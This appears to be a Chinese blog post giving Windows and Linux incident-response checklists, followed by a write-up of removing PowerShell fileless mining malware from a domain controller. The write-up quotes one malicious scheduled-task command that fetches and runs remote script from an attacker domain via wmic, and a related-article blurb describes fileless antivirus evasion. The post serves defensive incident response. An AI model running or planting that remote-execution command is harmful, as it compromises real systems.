新一代--Powershell 无文件挖矿病毒

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Powershell 无文件挖矿病毒

windows & linux 应急知识体系

再次巩固下 常规的思路

Windows应急思路

1.检查系统账号安全
弱口令,端口对外暴露
2.服务器是否存在可疑账号、新增账号
lusrmgr.msc
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
3.结合系统登陆日志,查看管理员登录时间、用户名是否存在异常
eventvwr.msc
Log Parser进行分析

下面是常见的ID事件

攻击者使用 RDP 远程登录受害者计算机,源主机和目的主机都会生成相应事件。
重要的事件 ID(安全日志,Security.evtx)
4624:账户成功登录
4648:使用明文凭证尝试登录
4778:重新连接到一台 Windows 主机的会话
4779:断开到一台 Windows 主机的会话
远程连接日志
重要事件 ID 和含义:
1149:用户认证成功
21:远程桌面服务:会话登录成功
24:远程桌面服务:会话已断开连接
25:远程桌面服务:会话重新连接成功
远程连接日志关注 RemoteInteractive(10) 和CachedRemoteInteractive(12)表明使用了 RDP ,因为这些登录类型专用于RDP使用。
4.检查异常端口、进程
netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist  | findstr “PID”
msinfo32,依次点击     软件环境→正在运行任务   就可以查看到进程的详细信
5.检查启动项、计划任务、服务
Esc + Shift + Ctrl  打开任务管理器 ->  启动
Regedit
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
6.计划任务
at           2008版本前
schtasks.exe
compmgmt.msc    ->     任务计划程序
7.服务自启动
services.msc
8.检查系统相关信息
Systeminfo  补丁缺失
可疑目录  tmp
.xxxx  文件
%UserProfile%\Recent  最近打开的文件或目录
9.自动化工具
杀毒  河马  d盾等

Linux应急思路

1.历史命令
history
cat /root/.bash_history
2.账户信息
/etc/passwd
/etc/shadow
3.端口
netstat –ltunp
ss – lp
4. 进程 pid定位目录
ps –ef
top
ls /proc/pid
5.计划任务
crontab –l
cat /etc/crontab
cat /var/spool/cron/root
6. 启动项
cat /etc/rc.local
7.可疑文件
find / -name "*.jsp"
8.日志
/var/run/utmp    该日志文件记录有关当前登录的每个用户的信息
/var/log/lastlog   记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/secure    Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/wtmp    记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/log/btmp     记录Linux登陆失败的用户、时间以及远程IP地址

第一次接触powershell挖矿,还是有点小懵逼。

登录受害主机 信息收集一波,发现竟然还是一台域控服务器,有点小惊讶,查看了登录日志没有爆破记录,都是登录 退出,之类的。

查看进程后,除了powershell占用的cpu较高,其他没有异常,并没有立刻对powershell产生疑惑,比较域控,请求应该挺多的。捣鼓了一个小时,我裂开了,仔细想了,又返回到powershell进程,查看powershell.exe 属性 没有异常。清除所有的进程后,cpu正常了,ok,此次应急结束。


640.jpg

开个玩笑,不要当真。

信息收集

    systeminfo 查看系统的基本信息
    msinfo32  查看启动项是否正常
    lusrmgr.msc 查看是否存在可疑用户
    tasklist | findstr “pid”  定位进程
    Esc + Shift + Ctrl  定位进程详细目录

    打开计划任务 发现最近24小时 任务历史记录几百条  名称则为不规则字符串

    清除计划任务

    查看正在运行的计划任务 好家伙

    针对计划任务 逐个排查 一一删除


    那么多计划任务 这都不算啥,恶心的是什么?载正常的计划任务里,添加,或者更改正常的计划任务 写上

      wmic /s /u /i:http://cat.xiaoshabi.nl/

      这域名有个性,怕不是个傻子

      删除攻击类

      1. 计划任务删除后,cpu 明显下降,手动删除所有的powershell进程

      2. 通过wbemtest打开WMI检查器,通过wbemtest打开WMI测试器,连接到:root\Default时会发现Powershell挖矿病毒已经帮您新建了一个攻击类,之前的名称叫:Win32_Services,后面有一些变种病毒创建的攻击类更改了名称为:System_Anti_Virus_Core,但是内容还是一样的类型。


      属性对应一个数值 其内容是base64加密后的 解密后就是直观的powershell挖矿脚本


      删除安全策略

      3. Powershell.exe挖矿病毒还会在本地安全策略中创建一条阻止连接本服务器445号端口的IPSec策略。

      Secpol.msc 打开本地安全策略,找到ip安全策略 发现多了netbc  删除此项名称

      总结:由于是域控,所以不能很明显的溯源出攻击路径,查了下,域用户蛮多的,按照攻击的思路,通过外网漏洞,获取主机权限,提权,抓密码,域横向 PTH Psexec 黄金 白银什么的,然后在提权,投放挖矿脚本。


      相关实践学习
      日志服务之使用Nginx模式采集日志
      本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
      相关文章
      |
      网络协议 网络安全
      Powershell免杀(无文件落地免杀)
      无文件落地 顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。 通过两种方式进行无文件落地的免杀,一种是出网的情况,另一种为不出网情况。 声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
      1152 0
      |
      4月前
      |
      存储 JSON JavaScript
      |
      4月前
      PowerShell快速修改多个文件的名称
      【8月更文挑战第28天】在PowerShell中批量重命名文件可通过以下方法实现:1)使用`Rename-Item`命令逐一重命名;2)通过循环批量处理特定模式的文件名更改;3)利用正则表达式进行复杂模式匹配与替换。操作前请确保验证命令并备份文件。
      259 1
      |
      7月前
      |
      定位技术 Python
      PowerShell批量修改、替换大量文件的文件名
      PowerShell批量修改、替换大量文件的文件名
      164 1
      |
      7月前
      |
      前端开发 微服务 Windows
      PowerShell 命令窗口执行 pnpm 命令报错 无法加载文件 pnpm.ps1,因为在此系统上禁止运行脚本
      PowerShell 命令窗口执行 pnpm 命令报错 无法加载文件 pnpm.ps1,因为在此系统上禁止运行脚本
      |
      Windows
      powershell配置anaconda及解决【无法加载文件C:\Users\xxx\Documents\WindowsPowerShell\profile.ps1,因为在此系统上禁止运行脚本】的问题
      powershell配置anaconda及解决【无法加载文件C:\Users\xxx\Documents\WindowsPowerShell\profile.ps1,因为在此系统上禁止运行脚本】的问题
      2622 0
      |
      存储 运维 Linux
      【运维】PowerShell编程 目录文件相关方法的封装与案例详解
      本文实现一个目录管理类,归纳了 Powershell 中常用的文件路径方法。这些方法可以迅速方便的用于 Powershell 编写大型运维脚本中。以简单使用为目的封装常用目录文件操作。完成源代码在作者的github上可以找到。
      195 0
      |
      Web App开发 前端开发 JavaScript
      vbs学习,书籍,看书笔记(5) 客户端web脚本 .Power shell 使用 脚本文件的类型2
      vbs学习,书籍,看书笔记(5) 客户端web脚本 .Power shell 使用 脚本文件的类型2
      vbs学习,书籍,看书笔记(5) 客户端web脚本 .Power shell 使用 脚本文件的类型2
      |
      Java Shell 程序员
      Power Shell 脚本——基于curl自动批量获取FTP服务器上的日志文件
      Power Shell 脚本——基于curl自动批量获取FTP服务器上的日志文件
      297 0
      Power Shell 脚本——基于curl自动批量获取FTP服务器上的日志文件
      |
      资源调度
      PowerShell yarn : 无法加载文件 C:\Users\Admin\AppData\Roaming\npm\yarn.ps1,因为在此系统因为在此系统上禁止运行脚本。
      PowerShell yarn : 无法加载文件 C:\Users\Admin\AppData\Roaming\npm\yarn.ps1,因为在此系统因为在此系统上禁止运行脚本。
      260 0
      PowerShell yarn : 无法加载文件 C:\Users\Admin\AppData\Roaming\npm\yarn.ps1,因为在此系统因为在此系统上禁止运行脚本。